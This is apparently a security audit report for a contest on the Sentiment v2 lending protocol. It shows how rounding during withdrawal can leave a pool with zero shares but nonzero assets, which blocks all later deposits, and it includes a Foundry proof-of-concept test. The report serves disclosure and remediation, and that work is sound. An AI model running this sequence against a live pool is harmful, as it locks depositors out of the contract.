Attractive Caramel Fox

Medium

# The `Pool` contract can be DoSed

## Summary
The `Pool` contract can be DoSed
## Vulnerability Detail
For this attack, we will cover the case where the `interestFee` of a pool is 0. While I haven't fully tested this attack for a pool with a positive interest fee, I don't see a reason why it wouldn't be possible in a similar case as well. Note that an `interestFee` of 0 is completely valid as both seen by how the code functions and as confirmed by the sponsor.

Upon depositing, we convert to shares using this function:
```solidity
function _convertToShares(
        uint256 assets,
        uint256 totalAssets,
        uint256 totalShares,
        Math.Rounding rounding
    ) internal pure returns (uint256 shares) {
        if (totalAssets == 0) return assets;
        shares = assets.mulDiv(totalShares, totalAssets, rounding);
    }
```
We can see that if `totalAssets` equals 0, we would just return `assets`. If it is not, we use a typical shares calculation formula to determine the amount of `shares`. We have to note that if `totalShares` is 0 but `totalAssets` is not, this would return 0 shares which would make `deposit()` revert.

To make `totalShares` equal to 0 but `totalAssets` larger than 0, we need to use rounding to our advantage:
1. User deposits an amount
2. User borrows that amount
3. Some time passes (even 1 second) in order for interest to accrue:
```solidity
pool.totalDepositShares += feeShares;
pool.totalBorrowAssets += interestAccrued;
pool.totalDepositAssets += interestAccrued;
```
4. `feeShares` would be 0 in this example as `feeInterest` is 0 and we would increase `totalDepositAssets` for the pool by the interest accrued
5. User withdraws all but 1 of his assets (deposited amount + interest accrued) and we calculate shares to burn like this:
```solidity
shares = _convertToShares(assets, pool.totalDepositAssets, pool.totalDepositShares, Math.Rounding.Up);
```
Which calls this:
```solidity
shares = assets.mulDiv(totalShares, totalAssets, rounding);
```
6. We can see that we round up here due to the use of `Math.Rounding.Up`, `assets` is 1 wei smaller than `totalAssets` so that would make `shares` round up to `totalShares`
7. Then, we have these 2 lines:
```solidity
pool.totalDepositAssets -= assets;
pool.totalDepositShares -= shares;
```
8. The new `totalDepositAssets` are 1 and the new `totalDepositShares` are 0 making our initial goal successful
9. Now, no one would be able to deposit due to the reason explained in the beginning of the report

Paste the following POC into `Pool.t.sol`:
```solidity
    function testDosOfPool() public {
        address positionManager = registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY); // Get position manager
        vm.prank(protocolOwner);
        pool.setInterestFee(linearRatePool, 0); // Set interest fee as 0, that is a valid pool interest fee

        vm.startPrank(user);
        uint256 amount = 1 ether;
        asset1.mint(user, amount);
        asset1.approve(address(pool), amount); // User has 1 ETH

        pool.deposit(linearRatePool, amount, user); // User deposits 1 ETH

        assertEq(pool.getAssetsOf(linearRatePool, user), amount);
        assertEq(pool.balanceOf(user, linearRatePool), amount);

        vm.stopPrank();

        // We call .repay on the pool directly for simplicity purposes (the other tests in this file are also like that), not exactly the actual flow that would happen but doesn't change the attack
        vm.startPrank(positionManager);
        pool.borrow(linearRatePool, user, amount); // User borrowws his 1 ETH
        vm.stopPrank();

        vm.warp(block.timestamp + 1 seconds);
        assertEq(pool.getAssetsOf(linearRatePool, user), 1000000063376175629); // Accrue some interest

        assert(pool.getBorrowsOf(linearRatePool, user) != 0); // We have borrowed, we need to repay

        vm.startPrank(positionManager);
        asset1.mint(address(pool), pool.getBorrowsOf(linearRatePool, user)); // Minting as we don't actually transfer anything below as we call the pool directly as noted in one of my above comments, this mocks a transfer essentially
        pool.repay(linearRatePool, user, pool.getBorrowsOf(linearRatePool, user));
        vm.stopPrank();

        assertEq(pool.getBorrowsOf(linearRatePool, user), 0); // We have repaid

        uint256 withdrawAssets = pool.getAssetsOf(linearRatePool, user) - 1; // Withdraw all but 1 of our assets

        vm.startPrank(user);
        pool.withdraw(linearRatePool, withdrawAssets, user, user); // Withdraw
        vm.stopPrank();

        address user2 = makeAddr('user2');
        asset1.mint(user2, amount);
        vm.startPrank(user2);
        asset1.approve(address(pool), amount);
        vm.expectRevert(abi.encodeWithSelector(Pool.Pool_ZeroSharesDeposit.selector, linearRatePool, amount)); // Revert as we mint 0 shares
        pool.deposit(linearRatePool, amount, user);
        vm.stopPrank();
    }
```
## Impact
DoS of the `Pool` contract
## Code Snippet
https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/Pool.sol#L275-L283
## Tool used

Manual Review

## Recommendation
Use a different implementation for the share/asset conversion functions to not allow a situation where the shares are 0 and assets are more than 0